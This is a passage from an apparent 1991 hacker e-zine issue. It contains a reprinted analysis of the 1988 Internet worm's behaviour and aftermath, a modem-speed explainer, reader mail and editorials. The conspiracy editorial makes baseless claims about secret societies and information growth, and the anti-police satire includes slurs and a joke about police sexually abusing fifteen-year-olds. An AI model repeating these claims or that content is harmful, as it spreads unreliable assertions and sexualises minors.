connect to another worm on a local, predetermined TCP socket. If such a
connection succeeded, one worm would (randomly) set its pleasequit variable
to 1, causing that worm to exit after it had reached part way into the third
stage (9c) of password cracking. This delay is part of the reason many
systems had multiple worms running: even though a worm would check for other
local worms, it would defer its self-destruction until significant effort had
been made to break local passwords. Furthermore, race conditions in the code
made it possible for worms on heavily loaded machines to fail to connect,
thus causing some of them to continue indefinitely despite the presence of
other worms.
One out of every seven worms would become immortal rather than check for
other local worms. Based on a generated random number they would set an
internal flag that would prevent them from ever looking for another worm on
their host. This may have been done to defeat any attempt to put a fake worm
process on the TCP port to kill existing worms. Whatever the reason, this
was likely the primary cause of machines being overloaded with multiple
copies of the worm.
The worm attempted to send an UDP packet to the host ernie.berkeley.edu
approximately once every 15 infections, based on a random number comparison.
The code to do this was incorrect, however, and no information was ever sent.
Whether this was an intended ruse or whether there was actually some reason
for the byte to be sent is not currently known. However, the code is such
that an uninitialized byte is the intended message. It is possible that the
author eventually intended to run some monitoring program on ernie (after
breaking into an account, perhaps). Such a program could obtain the sending
host number from the single-byte message, whether it was sent as a TCP or UDP
packet. However, no evidence for such a program has been found and it is
possible that the connection was simply a feint to cast suspicion on
personnel at Berkeley.
The worm would also fork itself on a regular basis and kill its parent. This
served two purposes. First, the worm appeared to keep changing its process
identifier and no single process accumulated excessive amounts of CPU time.
Secondly, processes that have been running for a long time have their
priority downgraded by the scheduler. By forking, the new process would
regain normal scheduling priority. This mechanism did not always work
correctly, either, as we locally observed some instances of the worm with
over 600 seconds of accumulated CPU time.
If the worm ran for more than 12 hours, it would flush its host list of all
entries flagged as being immune or already infected. The way hosts were added
to this list implies that a single worm might reinfect the same machines
every 12 hours.
AFTERMATH
In the weeks and months following the release of the Internet worm, there
have been a number of topics hotly debated in mailing lists, media coverage,
and personal conversations. I view a few of these as particularly
significant, and will present them here.
Author, Intent, and Punishment
Two of the first questions to be asked--even before the worm was
stopped--were simply the questions who and why. Who had written the worm,
and why had he/she/they loosed it upon the Internet? The question of who was
answered quite shortly thereafter when the New York Times identified Robert
T. Morris. Although he has not publicly admitted authorship, and no court of
law has yet pronounced guilt, there seems to be a large body of evidence to
support such an identification.
Various officials have told me that they have obtained statements from
multiple individuals to whom Morris spoke about the worm and its development.
They also have records from Cornell University computers showing early
versions of the worm code being tested on campus machines. They also have
copies of the worm code, found in Morris' account.
Thus, the identity of the author seems fairly well-established. But his
motive remains a mystery. Speculation has ranged from an experiment gone
awry to an unconscious act of revenge against his father, who is the National
Computer Security Center's chief scientist. All of this is sheer
speculation, however, since no statement has been forthcoming from Morris.
All we have to work with is the decompiled code for the program and our
understanding of its effects. It is impossible to intuit the real motive
from those or from various individuals' experiences with the author. We must
await a definitive statement by the author to answer the question why?
Considering the potential legal consequences, both criminal and civil, a
definitive statement from Morris may be some time in coming, if it ever does.
Two things have impressed many people (this author included) who have read
the decompiled code. First, the worm program contained no code to explicitly
damage any system on which it ran. Considering the ability and knowledge
evidenced by the code, it would have been a simple matter for the author to
have included such commands if that was his intent. Unless the worm was
released prematurely, it appears that the author's intent did not involve
destruction or damage of any data or system.
The second feature of note was that the code had no mechanism to halt the
spread of the worm. Once started, the worm would propagate while also taking
steps to avoid identification and capture. Due to this and the complex
argument string necessary to start it, individuals who have examined the worm
(this author included) believe it unlikely that the worm was started by
accident or was not intended to propagate widely.
In light of our lack of definitive information, it is puzzling to note
attempts to defend Morris by claiming that his intent was to demonstrate
something about Internet security, or that he was trying a harmless
experiment. Even the president of the ACM, Bryan Kocher, stated that it was
a prank in [7]. It is curious that this many people, both journalists and
computer professionals alike, would assume to know the intent of the author
based on the observed behavior of the program. As Rick Adams of the Center
for Seismic Studies observed in a posting to the Usenet, we may someday hear
that the worm was actually written to impress Jodie Foster--we simply do not
know the real reason.
Coupled with this tendency to assume motive, we have observed very different
opinions on the punishment, if any, to mete out to the author. One
oft-expressed opinion, especially by those individuals who believe the worm
release was an accident or an unfortunate experiment, is that the author
should not be punished. Some have gone so far as to say that the author
should be rewarded and the vendors and operators of the affected machines
should be the ones punished, this on the theory that they were sloppy about
their security and somehow invited the abuse!
The other extreme school of thought holds that the author should be severely
punished, including a term in a federal penitentiary. (One somewhat humorous
example of this point of view was exposed by syndicated columnist Mike
Royko.)
As has been observed in both [2] and [6], it would not serve us well to
overreact to this particular incident. However, neither should we dismiss
it as something of no consequence. The fact that there was no damage done
may have been an accident, and it is possible that the author intended for
the program to clog the Internet as it did. Furthermore, we should be wary
of setting dangerous precedent for this kind of behavior. Excusing acts of
computer vandalism simply because the authors claim there was no intent to
cause damage will do little to discourage repeat offenses, and may, in fact,
encourage new incidents.
The claim that the victims of the worm were somehow responsible for the
invasion of their machines is also curious. The individuals making this
claim seem to be stating that there is some moral or legal obligation for
computer users to track and install every conceivable security fix and
mechanism available. This completely ignores the fact that many sites run
turnkey systems without source code or knowledge of how to modify their
systems. Those sites may also be running specialized software or have
restricted budgets that prevent them from installing new software versions.
Many commercial and government sites operate their systems in this way. To
attempt to blame these individuals for the success of the worm is equivalent
to blaming an arson victim for the fire because she didn't build her house of
fireproof metal. (More on this theme can be found in [17].)
The matter of appropriate punishment will likely be decided by a federal
judge. A grand jury in Syracuse, N.Y., has been hearing testimony on the
matter. A federal indictment under the United States Code, Title 18, Section
1030 (the Computer Crime statute), parts (a)(3) or (a)(5) might be returned.
Section (a)(5), in particular, is of interest. That part of the statute
makes it a felony if an individual "intentionally accesses a federal interest
computer without authorization, and by means of one or more instances of such
conduct alters, damages, or destroys information . . . , or prevents
authorized use of any such computer or information and thereby causes loss to
one or more others of a value aggregating $1,000 or more during any one year
period" (emphasis added). State and civil suits might also be brought in
this case.
Worm Hunters
A significant conclusion reached at the NCSC post-mortem workshop was that
the reason the worm was stopped so quickly was due almost solely to the UNIX
"old-boy" network, and not due to any formal mechanism in place at the time.
A recommendation from that workshop was that a formal crisis center be
established to deal with future incidents and to provide a formal point of
contact for individuals wishing to report problems. No such center was
established at that time.
On November 29, 1988, someone exploiting a security flaw present in older
versions of the FTP file transfer program broke into a machine on the MILNET.
The intruder was traced to a machine on the Arpanet, and to immediately
prevent further access, the MILNET/Arpanet links were severed. During the
next 48 hours there was considerable confusion and rumor about the
disconnection, fueled in part by the Defense Communication Agency's attempt
to explain the disconnection as a "test" rather than as a security problem.
This event, coming as close as it did to the worm incident, prompted DARPA to
establish the CERT--the Computer Emergency Response Team--at the Software
Engineering Institute at Carnegie Mellon University. The purpose of CERT is
to act as a central switchboard and coordinator for computer security
emergencies on Arpanet and MILnet computers. The Center has asked for
volunteers from federal agencies and funded laboratories to serve as
technical advisors when needed.
Of interest here is that CERT is not chartered to deal with any Internet
emergency. Thus, problems detected in the CSnet, Bitnet, NSFnet, and other
Internet communities may not be referable to the CERT. I was told that it is
the hope of CERT personnel that these other networks will develop their own
CERT-like groups. This, of course, may make it difficult to coordinate
effective action and communication during the next threat. It may even
introduce rivalry in the development and dissemination of critical
information.
Also of interest is the composition of the personnel CERT is enlisting as
volunteers. Apparently there has been little or no solicitation of expertise
among the industrial and academic computing communities. This is precisely
where the solution to the worm originated. The effectiveness of this
organization against the next Internet-wide crisis will be interesting to
note.
CONCLUSIONS
All the consequences of the Internet worm incident are not yet known; they
may never be. Most likely there will be changes in security consciousness
for at least a short period of time. There may also be new laws and new
regulations from the agencies governing access to the Internet. Vendors may
change the way they test and market their products--and not all of the
possible changes will be advantageous to the end-user (e.g., removing the
machine/host equivalence feature for remote execution). Users' interactions
with their systems may change as well. It is also possible that no
significant change will occur anywhere. The final benefit or harm of the
incident will only become clear with the passage of time.
It is important to note that the nature of both the Internet and UNIX helped
to defeat the worm as well as spread it. The immediacy of communication, the
ability to copy source and binary files from machine to machine, and the
widespread availability of both source and expertise allowed personnel
throughout the country to work together to solve the infection despite the
widespread disconnection of parts of the network. Although the immediate
reaction of some people might be to restrict communication or promote a
diversity of incompatible software options to prevent a recurrence of a worm,
that would be an inappropriate reaction. Increasing the obstacles to open
communication or decreasing the number of people with access to in-depth
information will not prevent a determined hacker--it will only decrease the
pool of expertise and resources available to fight such an attack. Further,
such an attitude would be contrary to the whole purpose of having an open,
research-oriented network. The worm was caused by a breakdown of ethics as
well as lapses in security--a purely technological attempt at prevention will
not address the full problem, and may just cause new difficulties.
What we learn from this about securing our systems will help determine if
this is the only such incident we ever need to analyze. This attack should
also point out that we need a better mechanism in place to coordinate
information about security flaws and attacks. The response to this incident
was largely ad hoc, and resulted in both duplication of effort and a failure
to disseminate valuable information to sites that needed it. Many site
administrators discovered the problem from reading newspapers or watching
television. The major sources of information for many of the sites affected
seems to have been Usenet news groups and a mailing list I put together when
the worm was first discovered. Although useful, these methods did not ensure
timely, widespread dissemination of useful information--especially since they
depended on the Internet to work! Over three weeks after this incident some
sites were still not reconnected to the Internet. The worm has shown us that
we are all affected by events in our shared environment, and we need to
develop better information methods outside the network before the next
crisis. The formation of the CERT may be a step in the right direction, but
a more general solution is still needed.
Finally, this whole episode should prompt us to think about the ethics and
laws concerning access to computers. The technology we use has developed so
quickly it is not always easy to determine where the proper boundaries of
moral action should be. Some senior computer professionals started their
careers years ago by breaking into computer systems at their colleges and
places of employment to demonstrate their expertise and knowledge of the
inner workings of the systems. However, times have changed and mastery of
computer science and computer engineering now involves a great deal more than
can be shown by using intimate knowledge of the flaws in a particular
operating system. Whether such actions were appropriate fifteen years ago
is, in some senses, unimportant. I believe it is critical to realize that
such behavior is clearly inappropriate now. Entire businesses are now
dependent, wisely or not, on the undisturbed functioning of computers. Many
people's careers, property, and lives may be placed in jeopardy by acts of
computer sabotage and mischief.
As a society, we cannot afford the consequences of such actions. As
professionals, computer scientists and computer engineers cannot afford to
tolerate the romanticization of computer vandals and computer criminals, and
we must take the lead by setting proper examples. Let us hope there are no
further incidents to underscore this lesson.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% Information Age Conspiracy %
% Adventures In Creative Paranoia %
% %
% An Article By Rev. Scott Free %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Welcome to 1984...as you may or may not be aware...or maybe your
are even unwilling to consider....there seems to be a conspiracy afoot
in the good ole' US of A...A conspiracy of epic proportions designed
to keep you..Mr. John Q. Public....Mr. Average Joe...in darkness.
Consider if you will..history's lessons of conspiratorial cover-
up as exemplified in such things as the UFO cover-up..the Kennedy
Assassination cover-up...and many others which there are fine books
written about.
Why even now there are misinformation tactics being perpetrated
in the "Gulf-Crisis" <Gasp!!>
Why exactly we went to war with Iraq remains unclear...the actual
casualty figures are still hotly debated and the harassment of middle-
eastern citizens in the U.S. continues unabated by both local and
federal law enforcement agencies.
What emerges from my innocent observations is a conspiracy. A
conspiracy perpetrated possibly by an underground elite secret
society.
Robert Anton Wilson goes on at length in such fine books as "The
Cosmic Trigger..The Final Secret of The Illuminati" and in his
"Illuminatis Trilogy"
Could there be such a group? Hidden within the secret society of
the "Freemasons" as Robert A. Wilson Suggests? What might the purpose
be of such an organization.
What I have observed in my short time on earth indicates a
definite "maybe" to these questions.
It seems that every other day there is something new on the
horizon to distract the average American consumer...a new fad...a
pacifier if you will...all insidiously designed to placate the
American consumer and keep him or her content and docile (and
shopping!)
America is founded on the Democratic ideals of the free-market
system. A system that can only survive if there is a constantly
growing supply of consumers. <eek..The Baby Boom>.
But...alas a flaw...it has been observed and calculated that the
amount of information in the world is growing exponentially...that is
to say rather than 2..4..6..8...it is growing 2..4..8..16..32.
If you take all the information available up to the year 1 AD
and use that as a unit of measurement...that unit doubled around 1400
and that amount in 1400 doubled again in the 1700's and continues at
that rate so when we reach the year 2016 or so information available
will be doubling every day...every hour...every minute..every second.
Then what do you have..CHAOS..<Read James Blick's Book "CHAOS">
according to the CHAOS theory, the more information you have...the
more variables are possible...take for example the Berlin
Wall...during the Reagan administration..it was predicted that the
wall would come down in 20 years...instead..it fell in twenty months.
And of course that was overshadowed by Glasnost...then the Gulf
War...world events are changing at an alarming rate. Hardly time to
catch your breath..I mean..who knows what will have happened by the
time you read this..maybe Bush will have liberated Cuba or some such
nonsense...but I am sure it will be equally unpredictable.
Ok..back on track...now you have a smattering of ideas..let's try
to pull them together.
Now..place on top of all that..Ta Da!..Technology! <applause>
that's right...today we enjoy unprecedented advances in information
storage and transfer..<Your local net-echo for example>. Today you can
transmit and receive information in quantities and over distances
undreamed of a few short years ago..and it will only get better.
Yes..thanks to the Japanese..you can have a PC in your home..hell
when I was a kid..this was unimaginable...
Of course this poses a major problem for the alleged
"conspiracy".
I mean..what are they to do? All that information falling
straight into the hands of you!..the public! What if all this
information stimulates your mind..and you start thinking for yourself?
How will you be successfully manipulated if you have all the facts?
Well dear friends..you can't be...that's the blessing and the
curse.
The conspiracy will not sit idle while they steadily lose their
grip. That is why such organizations as "Sun-Devil" are even now
infringing on you personal freedoms...under the guise of consumer
protection.
Of course there is some merit to the idea of ending consumer
fraud (i.e. software piracy...phone phreaking and such) but the
overall picture is that it is merely a ploy to squelch the publics
access to information.
If you have a PC..you are fortunate...if you misuse it in a
flagrant way..you are an idiot.
So many gifts are squandered by man, and the conspiracy is far
more insidious than you think.
They do not play fair. They will hurt you.
It is up to you to be discreet...computer games are fun...but
remember...they are merely a distraction..designed to pacify the
consumer...pirated games help the conspiracy.
I am not advocating giving up games...just utilize the tools at
your disposal to their fullest extent
That's it for now. If you want to reach me leave mail om
Rivendell BBS in Houston.
Remember..paranoia is not a crime...
IT'S AN ART!!
Rev. Scott Free
%%%%%%%%%%%%%%%%%
% Baud != BPS %
% ------------- %
%%%%%%%%%%%%%%%%%
The word Baud has a specific meaning, and that meaning is discrete signal
events per second. The term bits per second (BPS) is similar, it means the
number of data bits transmitted per second. The two terms, while similar,
are not synonymous. It is possible to transmit more than one data bit
per Baud, and that is the way modern modems get the throughputs they
achieve. In the modems that have seen common usage, the only rate at
which the BPS and Baud rates have matched has been 300 Baud (there were
some 450 Baud modems, but they weren't very common).
Today's dial up telephone lines have an average of 3000 Hz bandwidth
available (can be as low as 2400 Hz or as high as 3400, but the average is
around 3000). Modems (shorthand for MOdulator/DEModulator) use this
to their advantage by encoding (modulating) a signal and sending it along
the phone line to a modem on the other side (which must be able to use the
same modulation technique) which will then demodulate it and pass it along
to its host system. Most modems are capable of sending and receiving at the
same time because they split the line into two channels. A short explaination
of the commonly used modulation techniques follows:
300: This differs from the rest of the common modulation techniques in that
only one data bit per Baud is sent. It uses the bandwidth in a slightly
different way than the rest. It uses a techniques called Frequency Shift
Keying. In FSK, different frequencies determine of any bit is 'on' or 'off'
(mark or space in the terminology of FSK). There are two 300 Baud standards,
Bell 103 (Bell Labs) and CCITT V.21. The Bell 103 is the more commonly used
standard, V.21 is optional although most good modems also support it. In
Bell 103, the originating modem uses 2225 Hz as mark and 2025 Hz as space,
the answering modem uses 1270Hz for Mark and 1070 Hz for space. CCITT V.21
the originating modem uses 1650 Hz Mark, 1850 Hz space and answering uses
980 Hz mark, 1180 space.
1200: At 1200 BPS things become slightly complicated. We are now sending
600 baud, but we are moving two data bits per baud to achieve 1200 bps.
This is accomplished by using Differential Phase Shift Keying, which is
difficult to explain without getting into wave form theory (which is
beyond the scope of this document). DPSK takes advantage of known waveform
behaviour to move two data bits per discrete signal event. The bandwidth
is divided into a 2400 Hz channel and a 1200 Hz channel (the originator
gets the wider path). The common standard used for 1200 BPS is Bell 212a,
though CCITT V.22 is an option.
2400: At 2400 BPS we are still using 600 baud, and the bandwidth is split
the same way as in 1200 BPS communications. This time we are using a
technique known as Quadrature Amplitude Modulation (same problem with
explaining as DPSK, waveform theory) to move 4 data bits (a "quad-bit",
as they are called "di-bit" for 1200) per discrete signal event. The
common standard here is V.22bis (not just V.22, which is a 1200 bps
modulation technique).
9600 (V.32): V.32 uses a split of 1800 Hz for both channels. This does
cause problems with cross talk between the two channels, so echo
cancelation techniques are used to eliminate the problem. Each channel
sends at 2400 Baud. Trellis Coded Modulation encodes 5 data bits per
Baud (4 data, one parity), achieving 9600 bps throughput.
9600 (HST): The original HST split the bandwidth into an 1800 Hz forward
channel and a 350 Hz backchannel. It sent at 300 Baud on the back channel
and 2400 Baud using TCM on the forward channel to achieve 9600 BPS through-
put.
9600 (HST): The second HST raised the back channel to 375 hz and sent at
450 Baud along it, otherwise it was the same as the original HST.
14400 (HST): The 14400 HST uses the same channels as the 450 back channel
HST. It uses a modification of TCM to send 6 bits per Baud (12000 bps)
or 7 bits per Baud (14400).
The addition of such as MNP levels 1-4 and V.42 can change the actual
throughput, either a slight decrease or a slight increase will be seen.
The advantage is that the data received will have a better chance of
being good. MNP level 5, 7 or 9 and V.42bis can greatly improve the
throughput. If there is a demand, a more full explaination of MNP and
V.42 will be added here...
%%%%% A MESSAGE FROM YOUR LOCAL PIG STATION %%%%%
Skaters, jaywalkers, party goers, owners of cars with incorrectly tinted
windows, communists, people who don't come to a complete three second stop at
a stop sign, unlicensed vendors, MDC fans, heavy metal satanists, owners of
illegal fireworks, flag burners, sidewalk spitters, pot smokers, flyer
pasters, parking criminals, anarchists, underage beer consumers, copiers of
copyrighted tapes, purchasers of 2 Live Crew records, punks, loiterers,
"skinheads" at the broadmoor, you folks who make a living off recycling cans,
hippies, animal rights activists, men who wear dresses and especially all you
stereotype violators who we can't classify YOU ARE SOCIAL SCUM! Criminals who
we will punish when we find you (and we will). We have already done away with
several of you; especially you who have smoked politically unacceptable
vegetation. We also will continue to punish those of you who still use
politically unacceptable transportation which doesn't support our corporate
sponsors and fellow fascists. We are sick of your outrageous crimes against
our system and laws which you had no part in deciding. What would Amerikkka
degenerate to if we would cut you criminals some slack? FREEDOM? Well, we
like our authority and power and our extensive FREEDOM. We will keep our
freedom to throw intoxicated hippies in jail for acting unacceptable. We will
keep our freedom to beat you senseless if your vocabulary gets out of line and
yes, we love the freedom to frisk and cuff suspects as we stuff them in the
back of our pigmobies. Yes, all you slimy degenerate criminal scum police rule
means freedom. Especially for all you sexy, inexperienced fifteen year olds
who want off the hook, you have the freedom for us to pork you in to squeling
ecstasy. Well, well we are well aware that you criminals are ashamed of your
filthy, disgusting and inhumane crimes so we would like to extend our hooves to
all of you who would like to come on good terms with us. So when you see us on
the streets harassing loiterers or busting a party at your friends home, greet
us with a friendly grunt, oink or squeal and we'll return your charity with a
swift nightstick to the head. Also we can get beyond all these formalities.
There is little more we hate than being addressed "officer", "police" or even
"cop". Just call us Pig, Swine or call us by our common nickname: PORKY!
We laugh when you fall on your face
your local PIG PATROL.
[Say Fuck! For Freedom!]
[...and now for those ever-valuable READER'S COMMENTS!]
From :Travis Mcgee #10
To :The Desert Fox #1
Subject :Magazine
DateTime:5:37 am Mon Apr 08, 1991
Your mag was great. I just wanted to tell you that you guys did a fabulous
job. In my opinion, nearly all the articles were done professionally and
covered their respective topics well. I hope to contribute an article in an
upcoming issue.
Editor's Comments:
The Desert Fox:
Well, I hope everyone enjoys this issue. It took a while to
compile, but we got it together. There is a .Gif file shipped
with this issue to give the magazine a little more colorful
addition. I would like to thank all the people who
contributed to the magazine. I can't say enough
about the positive response and constructive criticism that
we got from the first issue. Keep those submissions rolling
in! Say Fuck For Freedom!! ...happy trails!
[And Now Ladies & Gentlemen...The Reverand Scott Free!]
Dear Friends...
Well...he we are...issue #2...and things are looking great!
Response has been very encouraging and we hope you will find this
issue as entertaining and as enjoyable as issue #1.
This issue contains my first rambling editorial..."Adventures In
Creative Paranoia". I hope you find this somewhat coherent...as my
mind is full of these weird thought patterns...<the aliens didn't
leave instructions with the data implants>...and this was my first
attempt to put them down in writing...
I hope to continue with the "Creative Paranoia" theme...any
comments or input would be very welcome. I am willing to discuss
requested topics.
Special thanks to Jello Biafra <formerly of the Dead Kennedy's>
for his gracious permission to reprint his material in our magazine,
Future issues will contain bits of his ramblings excerpted from his
spoken word albums and some tapes I have acquired of some of his live
shows. Also look forward to articles submitted to our magazine by him
if he can get around to sending in his submissions.
Enjoy...and spread the word!!!
Rev. Scott Free
PRAISE BOB!!!!!
*******************************************************************

Reference in New Issue View Git Blame Copy Permalink